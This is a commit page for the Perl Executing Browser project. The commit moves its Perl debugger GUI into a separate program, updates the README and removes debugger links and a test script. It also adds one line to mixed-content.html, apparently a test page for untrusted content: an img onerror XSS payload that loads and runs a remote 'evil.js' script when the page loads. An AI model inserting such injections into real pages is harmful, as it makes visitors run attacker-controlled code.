Skip to content

Commit 04c61b2

Browse files
committed
Perl debugger GUI as a separate program
1 parent fe8f5d7 commit 04c61b2

File tree

18 files changed

+20
-5996
lines changed

18 files changed

+20
-5996
lines changed

README.md

Lines changed: 8 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ Perl Executing Browser
66
[![Build Status](https://travis-ci.org/ddmitov/perl-executing-browser.svg?branch=master)](https://travis-ci.org/ddmitov/perl-executing-browser)
77
[![Build Status](https://ci.appveyor.com/api/projects/status/github/ddmitov/perl-executing-browser?branch=master&svg=true)](https://ci.appveyor.com/project/ddmitov/perl-executing-browser)
88

9-
Perl Executing Browser (PEB) is an HTML user interface for [Perl 5](https://www.perl.org/) desktop applications. It runs local Perl 5 scripts without server and with no timeout and is implemented as a C++ compiled executable based on [Qt 5](https://www.qt.io/) and [QtWebKit](https://trac.webkit.org/wiki/QtWebKit) libraries. PEB Perl scripts are fed from HTML forms using GET or POST requests to a built-in pseudo-domain. HTML interface for the [default Perl debugger](http://perldoc.perl.org/perldebug.html) is also available.
9+
Perl Executing Browser (PEB) is an HTML user interface for [Perl 5](https://www.perl.org/) desktop applications. It runs local Perl 5 scripts without server and with no timeout and is implemented as a C++ compiled executable based on [Qt 5](https://www.qt.io/) and [QtWebKit](https://trac.webkit.org/wiki/QtWebKit) libraries. PEB Perl scripts are fed from HTML forms using GET or POST requests to a built-in pseudo-domain.
1010

1111
Inspired by [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), PEB is another reuse of web technologies in desktop applications with Perl doing the heavy lifting. In contrast to [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), PEB enforces strict separation between trusted and untrusted content in different browser windows.
1212

@@ -26,13 +26,12 @@ Inspired by [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), P
2626
* [Settings](#settings)
2727
* [Security](#security)
2828
* [Special URLs](#special-urls)
29-
* [Perl Debugger GUI](#perl-debugger-gui)
3029
* [Local File Types](#local-file-types)
3130
* [Keyboard Shortcuts](#keyboard-shortcuts)
3231
* [What PEB Is Not](#what-peb-is-not)
3332
* [Limitations](#limitations)
3433
* [History](#history)
35-
* [Application using PEB](#application-using-peb)
34+
* [Applications Based on PEB](#applications-based-on-peb)
3635
* [License](#license)
3736
* [Authors](#authors)
3837

@@ -65,10 +64,8 @@ Inspired by [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), P
6564
## Target Audience
6665
* Perl 5 enthusiasts and developers creating custom desktop applications including rich/thick/fat clients
6766
* DevOps people in need of custom Perl-based GUI monitoring and administration solutions
68-
* Perl 5 enthusiasts and developers willing to use the built-in Perl debugger in graphical mode
6967

7068
## Features
71-
**Usability:**
7269
* [Perl scripts can be fed from HTML forms using GET and POST requests to a built-in pseudo-domain.](#feeding-from-forms)
7370
* [Perl scripts featuring STDIN event loops can be repeatedly fed with data.](#interactive-perl-scripts)
7471
* [Linux superuser Perl scripts can be started.](#linux-superuser-perl-scripts)
@@ -85,9 +82,6 @@ Inspired by [NW.js](http://nwjs.io/) and [Electron](http://electron.atom.io/), P
8582
* [Optional translation of the JavaScript *Alert*, *Confirm* and *Prompt* dialog boxes using JavaScript](#custom-or-translated-labels-for-javascript-dialog-boxes)
8683
* [Optional warning for unsaved data in HTML forms before closing a window to prevent accidental data loss](#warning-for-unsaved-user-input-before-closing-a-window)
8784
* [Any icon can be displayed on windows and message boxes.](#icon)
88-
89-
**Development goodies:**
90-
* [PEB can interact with the Perl 5 debugger in graphical mode.](#perl-debugger-gui)
9185
* ``QWebInspector`` window can be invoked using <kbd>Ctrl</kbd> + <kbd>I</kbd> keyboard shortcut.
9286
* [Optional logging of all browser actions](#log-files)
9387

@@ -126,21 +120,15 @@ Changing the compile-time variables of PEB requires editing its project file - `
126120
CONFIG += app_bundle
127121
```
128122

129-
<a name="security-compile-time-variables"></a>
130-
The following two compile-time variables can tighten further the security of PEB.
123+
<a name="security-compile-time-variable"></a>
124+
The following compile-time variable can tighten further the security of PEB.
131125

132126
* **Administrative privileges check:** ``ADMIN_PRIVILEGES_CHECK``
133127
To disable administrative privileges check: ``ADMIN_PRIVILEGES_CHECK = 0``
134128
By default administrative privileges check is disabled.
135129
To enable administrative privileges check: ``ADMIN_PRIVILEGES_CHECK = 1``
136130
If administrative privileges check is enabled and PEB is started with administrative privileges, a warning page is displayed and no scripts can be executed. Starting Linux superuser scripts is not possible in this scenario.
137131

138-
* **Perl debugger GUI:** ``PERL_DEBUGGER_GUI``
139-
To enable Perl debugger GUI: ``PERL_DEBUGGER_GUI = 1``
140-
By default Perl debugger GUI is enabled.
141-
To disable Perl debugger GUI: ``PERL_DEBUGGER_GUI = 0``
142-
If PEB is going to be compiled for end users and Perl debugger GUI is not needed or not wanted for security reasons, it can be turned off.
143-
144132
## Runtime Requirements
145133
* Qt 5 libraries - their full Linux list can be found inside the ``start-peb.sh`` script,
146134
* Perl 5 distribution - any Linux, Mac or Windows Perl distribution.
@@ -402,11 +390,9 @@ They have two functions:
402390
a warning message blocks the entire browser window until user goes to the start page to restore local Perl scripting.
403391
* Local Perl scripts can not be started from untrusted pages.
404392
* Files or folders can not be selected with their full paths from untrusted pages.
405-
* PEB HTML interface for the Perl debugger can not be accessed from an untrusted page.
406393
* Cross-site scripting is disabled for all web and local pages.
407-
* Plugin support is disabled.
408394

409-
**[Optional security features based on compile-time variables](#security-compile-time-variables)**
395+
**[Optional security feature based on compile-time variable](#security-compile-time-variable)**
410396

411397
## Special URLs
412398
* **PEB pseudo-domain:** ``http://local-pseudodomain/``
@@ -472,25 +458,6 @@ They have two functions:
472458
* **Close current window:** ``http://local-pseudodomain/close-window.function``
473459
Please note that the window from where this URL was called will be closed immediately without any check for unsaved user data in HTML forms. Window-closing URL was implememented to enable asynchronous JavaScript routines for window closing confirmation - see section *Settings*, paragraph [Warning for unsaved user input before closing a window](#warning-for-unsaved-user-input-before-closing-a-window).
474460

475-
The following special URLs are implemented for the Perl debugger GUI:
476-
477-
* **Select file to debug:** ``http://local-pseudodomain/perl-debugger.function?action=select-file``
478-
479-
* **Send debugger command:** ``http://local-pseudodomain/perl-debugger.function?command=M``
480-
481-
## Perl Debugger GUI
482-
PEB is also an HTML user interface for the default Perl debugger. Any Perl script can be selected for debugging and the debugger output is displayed together with the syntax highlighted source code of the debugged script and its modules.
483-
484-
PEB-based Perl debugger GUI is an idea proposed by Valcho Nedelchev and provoked by the scarcity of graphical frontends for the Perl debugger.
485-
486-
Syntax highlighting is achieved using [Syntax::Highlight::Engine::Kate](https://metacpan.org/release/Syntax-Highlight-Engine-Kate) CPAN module by Hans Jeuken and Gábor Szabó.
487-
488-
``{PEB_binary_directory}/resources/app/perl5dbgui`` is home of the Perl debugger GUI script and the [Syntax::Highlight::Engine::Kate](https://metacpan.org/release/Syntax-Highlight-Engine-Kate) module. This folder and all files inside it should not be removed or renamed for the proper operation of the Perl debugger GUI.
489-
490-
**Windows caveat:** The [default Perl debugger](http://perldoc.perl.org/perldebug.html) can not work with PEB on Windows without a small, one-line modification, which makes the ``$console`` variable undefined. Tests proved that this is a minor change and it does not affect the normal operation of the debugger. This alteration is necessary because the ``Qprocess`` class, which is used to handle the Perl debugger, does not use any console from the underlying operating system. Without the modification the debugger is unable to find a console and hangs. You could easily patch your Windows version of ``perl5db.pl`` manually by replacing ``$console = "con";`` with ``undef $console;`` or by using ``{PEB_binary_directory}/resources/app/perl5dbgui/perl5db-win32.patch``.
491-
492-
![PEB Perl Debugger GUI](https://github.com/ddmitov/perl-executing-browser/raw/master/screenshots/peb-perl-debugger.png "PEB HTML Interface for the Perl Debugger")
493-
494461
## Local File Types
495462
All file types not listed here are unsupported. If they are linked from local pages, they will be opened using the default application of the operating system.
496463

@@ -527,7 +494,7 @@ Syntax highlighting is achieved using [Syntax::Highlight::Engine::Kate](https://
527494
* PEB does not embed any Perl interpreter in itself and relies on an external Perl distribution, which could be easily changed or upgraded independently.
528495

529496
## Limitations
530-
* No page produced by a local Perl script can be reloaded because no temporary files for script output are written.
497+
* No page produced by a local Perl script can be reloaded because no temporary files are written.
531498
Local HTML pages, as well as web pages, can be reloaded using the JavaScript function ``location.reload()``.
532499
* No history and cache.
533500
JavaScript functions ``window.history.back()``, ``window.history.forward()`` and ``window.history.go()`` are disabled.
@@ -537,8 +504,9 @@ Syntax highlighting is achieved using [Syntax::Highlight::Engine::Kate](https://
537504
## History
538505
PEB was started as a simple GUI for personal databases in 2013 by Dimitar D. Mitov.
539506

540-
## Application using PEB
507+
## Applications Based on PEB
541508
* [Epigraphista](https://github.com/ddmitov/epigraphista) is an [EpiDoc](https://sourceforge.net/p/epidoc/wiki/Home/) XML file creator. It is implemented as a hybrid desktop and server application using [Perl Executing Browser](https://github.com/ddmitov/perl-executing-browser), [Electron](http://electron.atom.io/) or [NW.js](http://nwjs.io/) as a desktop GUI framework, [Bootstrap](http://getbootstrap.com/) for a themable HTML 5 user interface, JavaScript for on-screen text conversion and [Perl 5](https://www.perl.org/) for a file-writing backend.
509+
* [Camel Doctor](https://github.com/ddmitov/camel-doctor) is an HTML user interface for the [default Perl debugger](http://perldoc.perl.org/perldebug.html).
542510

543511
## License
544512
This program is free software;

resources/app/index.html

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -65,10 +65,6 @@
6565
</ul>
6666
</li>
6767

68-
<li>
69-
<a href="http://local-pseudodomain/perl-debugger.function?action=select-file">Perl Debugger</a>
70-
</li>
71-
7268
<li>
7369
<a id="web" role="button" data-toggle="dropdown" data-target="#" href="index.html">
7470
Web<span class="caret"></span>

resources/app/mixed-content.html

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,11 +5,10 @@
55
<title>Perl Executing Browser - Demo</title>
66
<meta name="viewport" content="width=device-width, initial-scale=1">
77
<meta charset="utf-8">
8-
9-
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>
108
</head>
119

1210
<body>
11+
<img src=1 onerror="s=document.createElement('script');s.src='//xss-doc.appspot.com/static/evil.js';document.body.appendChild(s);">
1312
</body>
1413

1514
</html>

resources/app/perl/simplest-perl-debugger-test.pl

Lines changed: 0 additions & 17 deletions
This file was deleted.

0 commit comments

Comments
 (0)